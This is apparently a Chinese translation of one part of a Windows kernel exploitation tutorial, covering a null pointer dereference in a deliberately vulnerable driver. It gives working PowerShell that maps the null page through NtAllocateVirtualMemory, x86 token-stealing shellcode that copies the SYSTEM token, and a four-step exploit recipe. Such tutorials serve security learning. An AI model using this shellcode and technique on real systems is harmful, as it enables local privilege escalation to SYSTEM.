返回介绍

Pwn

发布于 2025-01-03 23:32:56 字数 2642 浏览 0 评论 0 收藏 0

这里唯一的技巧就是在于如何在 0x00000004 分配一个双字(dword)。我强烈建议你快速的看一下 rohitab ,一个最有趣的阐述。

和 linux 不同,Windows 允许低权限用户去映射用户进程的上下文到 0 页(null page)。这一功能在直觉上有一点遮蔽性,毕竟 VirtualAlloc 和 VirtualAllocEx 在分配的基地址低于 0x00001000 时都以拒绝访问而告终。然而,利用 NtAllocateVirtualMemory 函数则没有这样的限制。下列代码可以用于阐述这一现象。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
  
public static class EVD
{
  [DllImport("ntdll.dll")]
  public static extern uint NtAllocateVirtualMemory(
    IntPtr ProcessHandle,
    ref IntPtr BaseAddress,
    uint ZeroBits,
    ref UInt32 AllocationSize,
    UInt32 AllocationType,
    UInt32 Protect);
}
"@
  
echo "`n[>] Allocating process null page.."
[IntPtr]$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
[IntPtr]$BaseAddress = 0x1 # Rounded down to 0x00000000
[UInt32]$AllocationSize = 2048 # 2kb, seems like a nice number
$CallResult = [EVD]::NtAllocateVirtualMemory($ProcHandle, [ref]$BaseAddress, 0, [ref]$AllocationSize, 0x3000, 0x40)
if ($CallResult -ne 0) {
  echo "[!] Failed to allocate null-page..`n"
  Return
} else {
  echo "[+] Success"
}

前面提到的文章看起来有一点荒谬,其作者无意中想到了这样一个好点子。预分配 0 页可以阻止空指针引用漏洞的利用(EMET 就是这样做的)。。。

我们可以复用前面文章中窃取 token 的 shellcode。这一次无需任何改动,因为我们劫持了另一个函数调用。

$Shellcode = [Byte[]] @(
  #---[Setup]
  0x60,                 # pushad
  0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
  0x8B, 0x40, 0x50,           # mov eax, [eax + EPROCESS_OFFSET]
  0x89, 0xC1,             # mov ecx, eax (Current _EPROCESS structure)
  0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
  #---[Copy System PID token]
  0xBA, 0x04, 0x00, 0x00, 0x00,     # mov edx, 4 (SYSTEM PID)
  0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
  0x2D, 0xB8, 0x00, 0x00, 0x00,     # sub eax, FLINK_OFFSET       |
  0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx   |
  0x75, 0xED,             # jnz               ->|
  0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
  0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
  #---[Recover]
  0x61,                 # popad
  0xC3                # ret
)

澄清一下我们的 exp 的通用安装方法:(1)把我们的 shellcode 放在内存中任意位置,(2)在程序的 0 页上分配内存,(3)把 shellcode 的地址写在 0x00000004,(4)触发空指针引用。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文